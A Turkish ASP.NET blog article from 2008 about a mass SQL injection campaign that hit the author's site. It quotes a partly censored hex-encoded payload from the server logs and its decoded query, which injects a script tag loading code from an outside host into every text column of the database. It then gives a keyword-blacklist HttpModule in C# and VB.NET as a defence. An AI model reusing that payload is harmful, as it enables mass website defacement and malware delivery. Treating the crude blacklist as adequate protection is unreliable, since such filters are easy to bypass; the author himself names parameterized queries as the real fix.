|
SQL Injection Saldırılarına Karşı Alternatif Bir Çözüm
|
|
Geçen hafta (15.08.2008) hem klasik ASP hemde ASP.NET sitelerine karşı oldukça fazla ve organize biçimde SQL Injection saldırısı gerçekleştirildi. Bu makalemizde de, bu tarz saldırılara karşı nasıl korunabileceğimize br göz atıyor olacağız.
|
|
Tayfun AKCAY,
21.08.2008 00:20:00
(Bu makale 2003 kez okundu.)
|
|
|
SQL Injection Saldırılarına Karşı Alternatif Bir Çözüm
Geçen hafta yeni bir SQL Injection saldırısı başladı ve Cuma akşamından itibaren yüz binlerce site ve sunucu bu
saldırılara maruz kaldı.
Benim
siteminde
saldırılardan nasibini aldığı ve sunucu loglarına çok geç ulaşmamdan dolayı bir kaç gün sonra ancak müdahale edebildiğim saldırı hakkında biraz bilgi ve bu gibi saldırılardan nasıl korunabileceğimizi bu makale de göreceğiz.
Sitem çok eski olduğu için bir sayfamda ne parametrik sql, ne de parametrik stored procedure kullanmadığımı ve saldırıların da buradan geldiğini tespit ettim. Saldırı aşağıdaki hexa koduna benzer biçimde uygulanıyor ve web sunucunda rastgele olarak geçerli dosyaları sorguluyor.
sysobjects ve syscolumns tabloları döndürüldüğünde; saldırgan hedefini belirliyor ve makinanın bir MSSQL sunucusu çalıştırdığını belirliyor. Daha sonra da belirledikleri HTML kodunu veritabanına enjekte ediyorlar. Araştırmalarımda, sadece MSSQL değil aynı metot ile Sybase veritabanına da injection uygulayabildiklerini okudum.
Diğer editör ve yazar arkadaşlarımın konu hakkkında birçok makalesi olduğu için SQL Injection konusuna daha fazla değinmiyorum. Bu konu ile ilgili makaleleri yine bu kategorideki makalelerde bulabilirsiniz.
Öncelikle saldırının tespitine bakalım. Sitemin bulunduğu IIS üzerindeki raw loglarını incelediğimde, yukarıda bahsettiğimin eski usül kod ile yazılmış bir sayfamın yanında aşağıdaki gibi bir GET isteği gördüm. Buradaki bazı hexa kodlarını güvenlik gerekçesiyle siliyorum.
GET /XXXtayfunakcayXXX.aspx ';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C 41524525F4375727626C655 2736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);
Bu hexadecimal çıktısı aşağıdaki gibi bir SQL sorgusu üretiyor. Burayı da biraz sansürlüyorum.
DECLARE @@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(?update ['+@T+'] set ['+@C +']=['+@C+']+??>title>script src=?http://www.kotusite.com/sw.js?>cript>!?? NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Bu atak hala birçok siteyi etkileyebiliyor. Benim gibi unuttuğunuz kodlarınız varsa ya da bazı kodlarınızı paremetrik türevlerine çevirmek oldukça iş yükü getirecekse bu makalede anlattığımız çözümü deneyebilirsiniz. Diğer ip bloklama gibi geçici çözümlerden bahsetmeyeceğim. Bunun yanında en iyi çözümün yine parametrik sql ve stored procedure kullanmak olduğunu yine tekrarlayalım.
SQL Injection?a Karşı Kod Yazarak Çözüm
Aşağıdaki VB.NET ve C# kod örnekleri ile adres çubuğundan gelen bir querystring verisinden, bir form ya da cookie verisinden gelen potansiyel SQL Injection saldırılarını engelleyebilirsiniz. Yalnız aşağıdaki kodu ben kendi siteme göre yazdım. Kendi sitemde bilgi girişi olarak sadece numerik veriler aldığımdan dolayı bu kodda geçen filtreler bana uyuyor. Bunu da siz de kendi sitenize göre uyarlayabilirsiniz.
Gelen bütün querystring, form ve cookie değerlerini BeginRequest event i çalıştıran bir kod parçacığı ile karşılayabilirsiniz. Bu tip kodlar HttpModule içerisinde uygulandığında gelen her istekte çalıştırılabilirler. Aşağıdaki kod parçacıklarında HttpModule, App_Code klasöründe tanımlanıyor ve daha sonradan web.config içerisinde register ediliyor. Böylelikle de gelen her bir istekte çalıştırılıyor. Gelen veriyi otomatik olarak kontrol eden kod, filtreye düşen şüpheli bir değer yakaladığında hemen ?Hata.htm? dosyasına yönlendiriliyor.
Öncelikle kullandığınız dile göre App_Code klasörünüz altında bir class dosyası oluşturun. Daha sonrada aşağıdaki kodları kullandığınız dile göre dosyaya yapıştırın.
C# Örneğimiz
SQLInjectionFilter.cs
using System;
using System.Data;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
/// <summary>
/// Summary description for SQLInjectionFilter
/// </summary>
public class SQLInjectionFilter : IHttpModule
{
//Burada kontrol edilecek degerleri belirliyoruz.
// Siz burayi kendi sitenize gore degistirebilirsiniz.
public static string[] blackList = {"--",";--",";","/*","*/","@@","@",
"char","nchar","varchar","nvarchar",
"alter","begin","cast","create","cursor",
"declare","delete","drop","end","exec","execute",
"select", "sys","sysobjects","syscolumns",
"fetch","insert","kill","open",
"table","update"};
public void Dispose()
{
}
//Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz
public void Init(HttpApplication app)
{
app.BeginRequest += new EventHandler(app_BeginRequest);
}
//Gelen her istege karşı, tüm querystring,
//form ve cookie değerlerini kontrol ediyoruz
void app_BeginRequest(object sender, EventArgs e)
{
HttpRequest Request = (sender as HttpApplication).Context.Request;
foreach (string key in Request.QueryString)
CheckInput(Request.QueryString[key]);
foreach (string key in Request.Form)
CheckInput(Request.Form[key]);
foreach (string key in Request.Cookies)
CheckInput(Request.Cookies[key].Value);
}
//Burada blackList e gore kontrol islemlerini gerceklestiriyoruz.
//Hata kontrolunu dilediginiz gibi degistirebilirsiniz
private void CheckInput(string parameter)
{
for (int i = 0; i < blackList.Length; i++)
{
if ((parameter.IndexOf(blackList[i], _
StringComparison.OrdinalIgnoreCase) >= 0))
{
//
//Evet. Burada supheli bir SQL kodu yakaladik. Veee
//
HttpContext.Current.Response.Redirect("~/Hata.htm");
//bye byeee
}
}
}
}
VB Örneğimiz
SQLInjectionFilter.vb
Imports Microsoft.VisualBasic
Public Class SQLInjectionFilter
Implements IHttpModule
'Burada kontrol edilecek degerleri belirliyoruz.
' Siz burayi kendi sitenize gore degistirebilirsiniz.
Public _ Shared blackList As String() = {"--", ";--", ";", "/*", "*/", "@@", _
"@", "char", "nchar", "varchar", "nvarchar", "alter", _
"begin", "cast", "create", "cursor", "declare", "delete", _
"drop", "end", "exec", "execute", "fetch", "insert", _
"kill", "open", "select", "sys", "sysobjects", "syscolumns", _
"table", "update"}
Public Sub Dispose() Implements IHttpModule.Dispose
End Sub
'Burada BeginRequest esnasinda calistirilacak kodu yaziyoruz
Public Sub Init(ByVal app As HttpApplication) Implements IHttpModule.Init
AddHandler app.BeginRequest, AddressOf app_BeginRequest
End Sub
'Gelen her istege karşı, tüm querystring,
'form ve cookie değerlerini kontrol ediyoruz
Private Sub app_BeginRequest(ByVal sender As Object, ByVal e As EventArgs)
Dim Request As HttpRequest = _
TryCast(sender, HttpApplication).Context.Request
For Each key As String In Request.QueryString
CheckInput(Request.QueryString(key))
Next
For Each key As String In Request.Form
CheckInput(Request.Form(key))
Next
For Each key As String In Request.Cookies
CheckInput(Request.Cookies(key).Value)
Next
End Sub
'Burada blackList e gore kontrol islemlerini gerceklestiriyoruz.
' Hata kontrolunu dilediginiz gibi degistirebilirsiniz
Private Sub CheckInput(ByVal parameter As String)
For i As Integer = 0 To blackList.Length - 1
If (parameter.IndexOf(blackList(i), _
StringComparison.OrdinalIgnoreCase) >= 0) Then
'
'Evet. Burada supheli bir SQL kodu yakaladik. Veee
'
HttpContext.Current.Response.Redirect("~/Hata.htm")
'bye byeee
End If
Next
End Sub
End Class
Web.Config
En son olarak web config dosyamızda syste.web etiketleri ve httpModules etiketleri arasına aşağıdaki kodu ekleyin.
...
<system.web>
...
<httpModules>
...
<add name="SQLInjectionFilter" type="SQLInjectionFilter"/>
...
</httpModules>
...
</system.web>
...
Özet
Bu makalede, SQL Injection tehditlerinden kodsal olarak nasıl korunabileceğinizi inceledik ve VB.NET ve C# dillerini kullanarak şüpheli SQL ifadelerini süzgeçten geçiren bir modül hazırladık.
Kaynak:
SQL Injection Attacks on IIS Web Servers
Stop SQL Injection Attacks Before They Stop You
ASCII Encoded/Binary String Automated SQL Injection Attack
Bir sonraki makalelerde görüşmek üzere. İyi çalışmalar...
Tayfun AKCAY
tayfun@tayfunakcay.com
|